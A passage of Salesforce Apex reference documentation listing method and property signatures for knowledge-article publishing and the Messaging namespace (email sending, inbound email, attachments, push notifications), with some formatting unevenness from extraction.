**Parameters**

- **articleId**
  - Type: String
- **flagAsNew**
  - Type: Boolean

**Return Value**

Type: Void

**Example**

```
String articleId = 'Insert article ID';
KbManagement.PublishingService.publishArticle(articleId, true);
```

**restoreOldVersion(articleId, versionNumber)**

Creates a draft article from an existing online article based on the specified archived version of the article and returns the article version ID.

**Signature**

```
public static String restoreOldVersion(String articleId, Integer versionNumber)
```

**Parameters**

- **articleId**
  - Type: String
- **versionNumber**
  - Type: Integer

**Return Value**

Type: String
scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.

Signature
public static Void scheduleForPublication(String articleId, Datetime scheduledDate)

Parameters
articleId
Type: String
scheduledDate
Type: Datetime

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.restoreOldVersion (articleId, 1);

setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to "in progress" status.

Signature
public static Void setTranslationToIncomplete(String articleVersionId)

Parameters
articleVersionId
Type: String

Return Value
Type: Void
Example

```java
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.setTranslationToIncomplete(articleVersionId);
```

**submitForTranslation(articleId, language, assigneeId, dueDate)**

Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns new ID of the draft translation.

**Signature**

```java
public static String submitForTranslation(String articleId, String language, String assigneeId, Datetime dueDate)
```

**Parameters**

- `articleId`
  - Type: String
- `language`
  - Type: String
- `assigneeId`
  - Type: String
- `dueDate`
  - Type: Datetime

**Return Value**

Type: String

Example

```java
String articleId = 'Insert article ID';
String language = 'fr';
String assigneeId = 'Insert assignee ID';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12,1);
String id = KbManagement.PublishingService.submitForTranslation(articleId, language, assigneeId, dueDate);
```

### Messaging Namespace

The **Messaging** namespace provides classes and methods for Salesforce outbound and inbound email functionality. The following are the classes in the **Messaging** namespace.

IN THIS SECTION:

- **Email Class (Base Email Methods)**
  - Contains base email methods common to both single and mass email.
EmailFileAttachment Class
EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing
documents in Salesforce.

InboundEmail Class
Represents an inbound email object.

InboundEmail.BinaryAttachment Class
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.

InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.

InboundEmailResult Class
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be
successful.

InboundEnvelope Class
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.

MassEmailMessage Class
Contains methods for sending mass email.

InboundEmail.Header Class
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.

PushNotification Class
PushNotification is used to configure push notifications and send them from an Apex trigger.

PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.

SendEmailError Class
Represents an error that the SendEmailResult object may contain.

SendEmailResult Class
Contains the result of sending an email message.

SingleEmailMessage Methods
Contains methods for sending single email messages.

Email Class (Base Email Methods)
Contains base email methods common to both single and mass email.

Namespace
Messaging

Usage

Note: If templates are not being used, all email content must be in plain text, HTML, or both. Visualforce email templates cannot be used for mass email.
Email Methods

The following are methods for Email. All are instance methods.

IN THIS SECTION:

setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent.

setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.

setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track open rates.

setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.

setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a signature it is included in the email unless you specify false.

setBccSender (bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email sent.

Signature

public Void setBccSender(Boolean bcc)

Parameters

bcc
Type: Boolean

Return Value

Type: Void

Usage

Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED. Contact your Salesforce representative for information on BCC compliance.
setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.

**Signature**

```
public Void setReplyTo(String replyAddress)
```

**Parameters**

*replyAddress*
Type: String

**Return Value**
Type: Void

setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

**Signature**

```
public Void setTemplateID(ID templateId)
```

**Parameters**

*templateId*
Type: ID

**Return Value**
Type: Void

**Usage**

⚠️ **Note:** setHtmlBody and setPlainTextBody apply only to single email methods, not to mass email methods.

**setSaveAsActivity(saveAsActivity)**
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track open rates.

**Signature**

```
public Void setSaveAsActivity(Boolean saveAsActivity)
```
**Parameters**

saveAsActivity
Type: Boolean

**Return Value**

Type: Void

**setSenderDisplayName(displayName)**

Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.

**Signature**

public Void setSenderDisplayName(String displayName)

**Parameters**

displayName
Type: String

**Return Value**

Type: Void

**setUseSignature(useSignature)**

Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a signature it is included in the email unless you specify false.

**Signature**

public Void setUseSignature(Boolean useSignature)

**Parameters**

useSignature
Type: Boolean

**Return Value**

Type: Void

**EmailFileAttachment Class**

EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing documents in Salesforce.
Namespace

Messaging

IN THIS SECTION:
  EmailFileAttachment Constructors
  EmailFileAttachment Methods

EmailFileAttachment Constructors

The following are constructors for EmailFileAttachment.

IN THIS SECTION:
  EmailFileAttachment()
    Creates a new instance of the Messaging.EmailFileAttachment class.

EmailFileAttachment()

Creates a new instance of the Messaging.EmailFileAttachment class.

Signature

public EmailFileAttachment()

EmailFileAttachment Methods

The following are methods for EmailFileAttachment. All are instance methods.

IN THIS SECTION:
  setBody(attachment)
    Sets the attachment itself.
  setContentType(contentType)
    Sets the attachment’s Content-Type.
  setFileName(fileName)
    Sets the name of the file to attach.
  setInline(isInline)
    Specifies a Content-Disposition of inline (true) or attachment (false).

setBody(attachment)

Sets the attachment itself.

Signature

public Void setBody(Blob attachment)
Parameters

attachment
Type: Blob

Return Value
Type: Void

setContentType(contentType)
Sets the attachment's Content-Type.

Signature

public Void setContentType(String contentType)

Parameters

contentType
Type: String

Return Value
Type: Void

setFileName(fileName)
Sets the name of the file to attach.

Signature

public Void setFileName(String fileName)

Parameters

fileName
Type: String

Return Value
Type: Void

setInline(isInline)
Specifies a Content-Disposition of inline (true) or attachment (false).

Signature

public Void setInline(Boolean isInline)
Parameters

isInline
Type: Boolean

Return Value
Type: Void

Usage
In most cases, inline content is displayed to the user when the message is opened. Attachment content requires user action to be displayed.

InboundEmail Class
Represents an inbound email object.

Namespace
Messaging

IN THIS SECTION:
  InboundEmail Constructors
  InboundEmail Properties

InboundEmail Constructors
The following are constructors for InboundEmail.

IN THIS SECTION:
  InboundEmail()
  InboundEmail()

InboundEmail()
Creates a new instance of the Messaging.InboundEmail class.

Signature
public InboundEmail()

InboundEmail Properties
The following are properties for InboundEmail.
IN THIS SECTION:

- **binaryAttachments**
  A list of binary attachments received with the email, if any.

- **ccAddresses**
  A list of carbon copy (CC) addresses, if any.

- **fromAddress**
  The email address that appears in the From field.

- **fromName**
  The name that appears in the From field, if any.

- **headers**
  A list of the RFC 2822 headers in the email.

- **htmlBody**
  The HTML version of the email, if specified by the sender.

- **htmlBodyIsTruncated**
  Indicates whether the HTML body text is truncated (true) or not (false).

- **inReplyTo**
  The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs.

- **messageId**
  The Message-ID—the incoming email's unique identifier.

- **plainTextBody**
  The plain text version of the email, if specified by the sender.

- **plainTextBodyIsTruncated**
  Indicates whether the plain body text is truncated (true) or not (false).

- **references**
  The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields.

- **replyTo**
  The email address that appears in the reply-to header.

- **subject**
  The subject line of the email, if any.

- **textAttachments**
  A list of text attachments received with the email, if any.

- **toAddresses**
  The email address that appears in the To field.

**binaryAttachments**

A list of binary attachments received with the email, if any.
**Signature**

`public InboundEmail.BinaryAttachment[] binaryAttachments {get; set;}`

**Property Value**

Type: `InboundEmail.BinaryAttachment[]`

**Usage**

Examples of binary attachments include image, audio, application, and video files.

**ccAddresses**

A list of carbon copy (CC) addresses, if any.

**Signature**

`public String[] ccAddresses {get; set;}`

**Property Value**

Type: `String[]`

**fromAddress**

The email address that appears in the From field.

**Signature**

`public String fromAddress {get; set;}`

**Property Value**

Type: `String`

**fromName**

The name that appears in the From field, if any.

**Signature**

`public String fromName {get; set;}`

**Property Value**

Type: `String`

**headers**

A list of the RFC 2822 headers in the email.
Signature

```java
public InboundEmail.Header[] headers {get; set;}
```

Property Value

Type: `InboundEmail.Header[]`

Usage

The list of the RFC 2822 headers includes:

- Received from
- Custom headers
- Message-ID
- Date

**htmlBody**

The HTML version of the email, if specified by the sender.

Signature

```java
public String htmlBody {get; set;}
```

Property Value

Type: `String`

**htmlBodyIsTruncated**

Indicates whether the HTML body text is truncated (`true`) or not (`false`).

Signature

```java
public Boolean htmlBodyIsTruncated {get; set;}
```

Property Value

Type: `Boolean`

**inReplyTo**

The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent email or emails' message-IDs.

Signature

```java
public String inReplyTo {get; set;}
```
Property Value
Type: String

**messageId**
The Message-ID—the incoming email's unique identifier.

**Signature**
```java
public String messageId {get; set;}
```

Property Value
Type: String

**plainTextBody**
The plain text version of the email, if specified by the sender.

**Signature**
```java
public String plainTextBody {get; set;}
```

Property Value
Type: String

**plainTextBodyIsTruncated**
Indicates whether the plain body text is truncated (true) or not (false.)

**Signature**
```java
public Boolean plainTextBodyIsTruncated {get; set;}
```

Property Value
Type: Boolean

**references**
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs, and possibly the In-Reply-To fields.

**Signature**
```java
public String[] references {get; set;}
```
Property Value
Type: String[]

**replyTo**
The email address that appears in the reply-to header.

Signature
public String replyTo {get; set;}

Property Value
Type: String

**Usage**
If there is no reply-to header, this field is identical to the **fromAddress** field.

**subject**
The subject line of the email, if any.

Signature
public String subject {get; set;}

Property Value
Type: String

**textAttachments**
A list of text attachments received with the email, if any.

Signature
public InboundEmail.TextAttachment[] textAttachments {get; set;}

Property Value
Type: InboundEmail.TextAttachment[]

**Usage**
The text attachments can be any of the following:
- Attachments with a Multipurpose Internet Mail Extension (MIME) type of **text**
- Attachments with a MIME type of `application/octet-stream` and a file name that ends with either a `.vcf` or `.vcs` extension. These are saved as `text/x-vcard` and `text/calendar` MIME types, respectively.
**toAddresses**
The email address that appears in the `To` field.

**Signature**
```java
public String[] toAddresses {get; set;}
```

**Property Value**
Type: `String[]`

---

**InboundEmail.BinaryAttachment Class**
An InboundEmail object stores binary attachments in an `InboundEmail.BinaryAttachment` object.

**Namespace**
`Messaging`

**Usage**
Examples of binary attachments include image, audio, application, and video files.

---

**InboundEmail.BinaryAttachment Constructors**
The following are constructors for `InboundEmail.BinaryAttachment`.

**IN THIS SECTION:**
- `InboundEmail.BinaryAttachment Constructors`
- `InboundEmail.BinaryAttachment Properties`

**InboundEmail.BinaryAttachment()**
Creates a new instance of the `Messaging.InboundEmail.BinaryAttachment` class.

**Signature**
```java
public InboundEmail.BinaryAttachment()
```

---

**InboundEmail.BinaryAttachment Properties**
The following are properties for `InboundEmail.BinaryAttachment`.

IN THIS SECTION:

**body**
The body of the attachment.

**fileName**
The name of the attached file.

**headers**
Any header values associated with the attachment. Examples of header names include `Content-Type`, `Content-Transfer-Encoding`, and `Content-ID`.

**mimeTypeSubType**
The primary and sub MIME-type.

**body**
The body of the attachment.

**Signature**
```java
public Blob body {get; set;}
```

**Property Value**
Type: Blob

**fileName**
The name of the attached file.

**Signature**
```java
public String fileName {get; set;}
```

**Property Value**
Type: String

**headers**
Any header values associated with the attachment. Examples of header names include `Content-Type`, `Content-Transfer-Encoding`, and `Content-ID`.

**Signature**
```java
public List<Messaging.InboundEmail.Header> headers {get; set;}
```

**Property Value**
Type: List<Messaging.InboundEmail.Header>
mimeTypeSubType
The primary and sub MIME-type.

Signature
public String mimeTypeSubType {get; set;}

Property Value
Type: String

InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.

Namespace
Messaging

Usage
The text attachments can be any of the following:
- Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
- Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

IN THIS SECTION:
InboundEmail.TextAttachment Constructors
InboundEmail.TextAttachment Properties

InboundEmail.TextAttachment Constructors
The following are constructors for InboundEmail.TextAttachment.

IN THIS SECTION:
InboundEmail.TextAttachment()
InboundEmail.TextAttachment()

InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.

Signature
public InboundEmail.TextAttachment()
InboundEmail.TextAttachment Properties

The following are properties for InboundEmail.TextAttachment.

IN THIS SECTION:

- **body**
  The body of the attachment.

- **bodyIsTruncated**
  Indicates whether the attachment body text is truncated (true) or not (false).

- **charset**
  The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.

- **fileName**
  The name of the attached file.

- **headers**
  Any header values associated with the attachment. Examples of header names include Content-Type, Content-Transfer-Encoding, and Content-ID.

- **mimeTypeSubType**
  The primary and sub MIME-type.

**body**

The body of the attachment.

**Signature**

```java
public String body {get; set;}
```

**Property Value**

Type: String

**bodyIsTruncated**

Indicates whether the attachment body text is truncated (true) or not (false).

**Signature**

```java
public Boolean bodyIsTruncated {get; set;}
```

**Property Value**

Type: Boolean

**charset**

The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.
Signature

public String charset {get; set;}

Property Value
Type: String

**fileName**
The name of the attached file.

Signature

public String fileName {get; set;}

Property Value
Type: String

**headers**
Any header values associated with the attachment. Examples of header names include Content-Type, Content-Transfer-Encoding, and Content-ID.

Signature

public List<Messaging.InboundEmail.Header> headers {get; set;}

Property Value
Type: List<Messaging.InboundEmail.Header>

**mimeTypeSubType**
The primary and sub MIME-type.

Signature

public String mimeTypeSubType {get; set;}

Property Value
Type: String

**InboundEmailResult Class**
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful.
Namespace
Messaging

InboundEmailResult Properties
The following are properties for InboundEmailResult.

IN THIS SECTION:

message
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned by the Success field.

success
A value that indicates whether the email was successfully processed.

Signature
public String message {get; set;}

Property Value
Type: String

success
A value that indicates whether the email was successfully processed.

Signature
public Boolean success {get; set;}

Property Value
Type: Boolean

Usage
If false, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the Message field.

InboundEnvelope Class
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
Namespace
Messaging

InboundEnvelope Properties
The following are properties for InboundEnvelope.

IN THIS SECTION:
  fromAddress
  The name that appears in the From field of the envelope, if any.
  toAddress
  The name that appears in the To field of the envelope, if any.

fromAddress
The name that appears in the From field of the envelope, if any.

Signature
public String fromAddress {get; set;}

Property Value
Type: String

toAddress
The name that appears in the To field of the envelope, if any.

Signature
public String toAddress {get; set;}

Property Value
Type: String

MassEmailMessage Class
Contains methods for sending mass email.

Namespace
Messaging
Usage
All base email (Email class) methods are also available to the MassEmailMessage objects.

IN THIS SECTION:
  MassEmailMessage Constructors
  MassEmailMessage Methods

SEE ALSO:
  Email Class (Base Email Methods)

MassEmailMessage Constructors
The following are constructors for MassEmailMessage.

IN THIS SECTION:
  MassEmailMessage()

  Creates a new instance of the Messaging.MassEmailMessage class.

MassEmailMessage()
Creates a new instance of the Messaging.MassEmailMessage class.

Signature
public MassEmailMessage()

MassEmailMessage Methods
The following are methods for MassEmailMessage. All are instance methods.

IN THIS SECTION:
  setDescription(description)
The description of the email.
  setTargetObjectIds(targetObjectIds)
A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).
  setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps to further ensure that merge fields in the template contain the correct data.

setDescription(description)
The description of the email.
Signature
public Void setDescription(String description)

Parameters
description
 Type: String

Return Value
Type: Void

setTargetObjectIds(targetObjectIds)
A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).

Signature
public Void setTargetObjectIds(ID[] targetObjectIds)

Parameters
targetObjectIds
 Type: ID[]

Return Value
Type: Void

Usage
You can list up to 250 IDs per email. If you specify a value for the targetObjectIds field, optionally specify a whatId as well to set the email context to a user, contact, or lead. This ensures that merge fields in the template contain the correct data.

Do not specify the IDs of records that have the Email Opt Out option selected.

All emails must have a recipient value in at least one of the following fields:

• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId

setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps to further ensure that merge fields in the template contain the correct data.
Signature

```java
public Void setWhatIds(ID[] whatIds)
```

Parameters

- `whatIds`
  - Type: `ID[]`

Return Value

Type: `Void`

Usage

The values must be one of the following types:

- `Contract`
- `Case`
- `Opportunity`
- `Product`

Note: If you specify `whatIds`, specify one for each `targetObjectId`; otherwise, you will receive an `INVALID_ID_FIELD` error.

InboundEmail.Header Class

An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.

Namespace

`Messaging`

InboundEmail.Header Properties

The following are properties for `InboundEmail.Header`.

IN THIS SECTION:

- `name`
  - The name of the header parameter, such as `Date` or `Message-ID`.
- `value`
  - The value of the header.

**name**

The name of the header parameter, such as `Date` or `Message-ID`.
**Signature**

```java
public String name {get; set;}
```

**Property Value**

Type: String

**value**

The value of the header.

**Signature**

```java
public String value {get; set;}
```

**Property Value**

Type: String

---

**PushNotification Class**

`PushNotification` is used to configure push notifications and send them from an Apex trigger.

**Namespace**

`Messaging`

**Example**

This sample Apex trigger sends push notifications to the connected app named `Test_App`, which corresponds to a mobile app on iOS mobile clients. The trigger fires after cases have been updated and sends the push notification to two users: the case owner and the user who last modified the case.

```java
trigger caseAlert on Case (after update) {
    for(Case cs : Trigger.New)
    {
        // Instantiating a notification
        Messaging.PushNotification msg =
            new Messaging.PushNotification();

        // Assembling the necessary payload parameters for Apple.
        // Apple params are:
        // (<alert text>,<alert sound>,<badge count>,
        // <free-form data>)
        // This example doesn't use badge count or free-form data.
        // The number of notifications that haven't been acted
        // upon by the intended recipient is best calculated
        // at the time of the push. This timing helps
        // ensure accuracy across multiple target devices.
        Map<String, Object> payload =
```
Messaging.PushNotificationPayload.apple(
   'Case ' + cs.CaseNumber + ' status changed to: ' + cs.Status, '', null, null);

   // Adding the assembled payload to the notification
msg.setPayload(payload);

   // Getting recipient users
String userId1 = cs.OwnerId;
String userId2 = cs.LastModifiedById;

   // Adding recipient users to list
Set<String> users = new Set<String>();
users.add(userId1);
users.add(userId2);

   // Sending the notification to the specified app and users.
   // Here we specify the API name of the connected app.
msg.send('Test_App', users);
}

IN THIS SECTION:
PushNotification Constructors
PushNotification Methods

PushNotification Constructors

The following are the constructors for PushNotification.

IN THIS SECTION:
PushNotification(payload) Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value pairs. When you use this constructor, you don't need to call setPayload to set the payload.

PushNotification()

Creates a new instance of the Messaging.PushNotification class.

Signature

```
public PushNotification()
```
**PushNotification (payload)**

Creates a new instance of the `Messaging.PushNotification` class using the specified payload parameters as key-value pairs. When you use this constructor, you don't need to call `setPayload` to set the payload.

**Signature**

```java
public PushNotification(Map<String, Object> payload)
```

**Parameters**

- **payload**
  - Type: `Map<String, Object>`
  - The payload, expressed as a map of key-value pairs.

**PushNotification Methods**

The following are the methods for `PushNotification`. All are global methods.

**IN THIS SECTION:**

- `send(application, users)`
  - Sends a push notification message to the specified users.
- `setPayload(payload)`
  - Sets the payload of the push notification message.
- `setTtl(ttl)`
  - Reserved for future use.

### send(application, users)

Sends a push notification message to the specified users.

**Signature**

```java
public void send(String application, Set<String> users)
```

**Parameters**

- **application**
  - Type: `String`
  - The connected app API name. This corresponds to the mobile client app the notification should be sent to.

- **users**
  - Type: `Set`
  - A set of user IDs that correspond to the users the notification should be sent to.

**Example**

See the [Push Notification Example](#).
**setPayload(payload)**
Sets the payload of the push notification message.

**Signature**

```java
public void setPayload(Map<String, Object> payload)
```

**Parameters**

`payload`
Type: `Map<String, Object>`
The payload, expressed as a map of key-value pairs.

Payload parameters can be different for each mobile OS vendor. For more information on Apple's payload parameters, search for "Apple Push Notification Service" at https://developer.apple.com/library/mac/documentation/.

To create the payload for an Apple device, see the PushNotificationPayload Class.

**Example**
See the Push Notification Example.

**setTtl(ttl)**
Reserved for future use.

**Signature**

```java
public void setTtl(Integer ttl)
```

**Parameters**

`ttl`
Type: `Integer`
Reserved for future use.

---

**PushNotificationPayload Class**
Contains methods to create the notification message payload for an Apple device.

**Namespace**

Messaging

**Usage**

Apple has specific requirements for the notification payload, and this class has helper methods to create the payload. For more information on Apple's payload parameters, search for "Apple Push Notification Service" at https://developer.apple.com/library/mac/documentation/.
Example
See the Push Notification Example.

IN THIS SECTION:
   PushNotificationPayload Methods

PushNotificationPayload Methods
The following are the methods for PushNotificationPayload. All are global static methods.

IN THIS SECTION:
   apple(alert, sound, badgeCount, userData)
   Helper method that creates a valid Apple payload from the specified arguments.
   apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount, userData)
   Helper method that creates a valid Apple payload from the specified arguments.

apple(alert, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.

Signature
public static Map<String, Object> apple(String alert, String sound, Integer badgeCount, Map<String, Object> userData)

Parameters
alert
   Type: String
   Notification message to be sent to the mobile client.

sound
   Type: String
   Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.

badgeCount
   Type: Integer
   Number to display as the badge of the application icon.

userData
   Type: Map<String, Object>
   Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.

Return Value
Type: Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.

**Usage**

To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.

**Example**

See the Push Notification Example.

```java
apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount, userData)
```

Helper method that creates a valid Apple payload from the specified arguments.

**Signature**

```java
public static Map<String, Object> apple(String alertBody, String actionLocKey, String locKey, String[] locArgs, String launchImage, String sound, Integer badgeCount, Map<String, Object> userData)
```

**Parameters**

- **alertBody**
  - Type: String
  - Text of the alert message.

- **actionLocKey**
  - Type: String
  - If a value is specified for the actionLocKey argument, an alert with two buttons is displayed. The value is a key to get a localized string in a Localizable.strings file to use for the right button’s title.

- **locKey**
  - Type: String
  - Key to an alert-message string in a Localizable.strings file for the current localization.

- **locArgs**
  - Type: List<String>
  - Variable string values to appear in place of the format specifiers in locKey.

- **launchImage**
  - Type: String
  - File name of an image file in the application bundle.

- **sound**
  - Type: String
  - Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.

- **badgeCount**
  - Type: Integer
  - Number to display as the badge of the application icon.
user_data
Type: Map<String, Object>
Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.

Return Value
Type: Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.

Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badge_count.

SendEmailError Class
Represents an error that the SendEmailResult object may contain.

Namespace
Messaging

SendEmailError Methods
The following are methods for SendEmailError. All are instance methods.

IN THIS SECTION:
getFields()  
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()  
The text of the error message.
getStatusCode()  
Returns a code that characterizes the error.
getTargetObjectId()  
The ID of the target record for which the error occurred.

getFields()  
A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.

Signature
public String[] getFields()
Return Value
Type: String[]

**getMessage()**
The text of the error message.

**Signature**
```java
public String getMessage()
```

**Return Value**
Type: String

**getStatusCode()**
Returns a code that characterizes the error.

**Signature**
```java
public System.StatusCode getStatusCode()
```

**Return Value**
Type: System.StatusCode

**Usage**
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.

**getTargetObjectId()**
The ID of the target record for which the error occurred.

**Signature**
```java
public String getTargetObjectId()
```

**Return Value**
Type: String

**SendEmailResult Class**
Contains the result of sending an email message.
Namespace

Messaging

SendEmailResult Methods
The following are methods for SendEmailResult. All are instance methods.

IN THIS SECTION:

getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.

isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced or been blocked by a spam blocker.

getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.

Signature

public SendEmailError[] getErrors()

Return Value
Type: Messaging.SendEmailError[]

isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced or been blocked by a spam blocker.

Signature

public Boolean isSuccess()

Return Value
Type: Boolean

SingleEmailMessage Methods
Contains methods for sending single email messages.
Namespace

Messaging

Usage

All base email (Email class) methods are also available to the SingleEmailMessage objects. Email properties are readable and writable. Each property has corresponding setter and getter methods. For example, the toAddresses() property is equivalent to the setToAddresses() and getToAddresses() methods. Only the setter methods are documented.

SEE ALSO:

Email Class (Base Email Methods)

SingleEmailMessage Constructors

The following are constructors for SingleEmailMessage.

IN THIS SECTION:

SingleEmailMessage Constructors

SingleEmailMessage Methods

IN THIS SECTION:

SingleEmailMessage Methods

SingleEmailMessage()

Creates a new instance of the Messaging.SingleEmailMessage class.

Signature

public SingleEmailMessage()

SingleEmailMessage Methods

The following are methods for SingleEmailMessage. All are instance methods.

IN THIS SECTION:

setBccAddresses(bccAddresses)

Optional. A list of blind carbon copy (BCC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not used.

setCcAddresses(ccAddresses)

Optional. A list of carbon copy (CC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not used.
setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user’s default value is used.

setDocumentAttachments(documentIds)
(Optional. A list containing the ID of each document object you want to attach to the email.

setEntityAttachments(ids)
Optional. Array of IDs of Document or ContentVersion items to attach to the email.

setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.

setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with the organization. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent emails).

setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines the behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients aren’t checked and those recipients always receive the email.

setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. You must specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object’s DisplayName field cannot be set if the setSenderDisplayName field is already set.

setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails’ References and message IDs, and possibly the In-Reply-To fields.

setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.

setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you specify sets the context and ensures that merge fields in the template contain the correct data.

setToAddresses(toAddresses)
Optional. A list of email addresses to which you are sending the email. The maximum number of email addresses allowed is 100. This argument is allowed only when a template is not used.

setTreat BodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data.

setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the targetObjectId is supplied as the WhoId field for template rendering but isn’t a recipient of the email. The default is true.
setWhatId(whatId)

If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure that merge fields in the template contain the correct data.

setBccAddresses(bccAddresses)

Optional. A list of blind carbon copy (BCC) addresses. The maximum allowed is 25. This argument is allowed only when a template is not used.

Signature

public Void setBccAddresses(String[] bccAddresses)

Parameters

bccAddresses

Type: String[]

Return Value
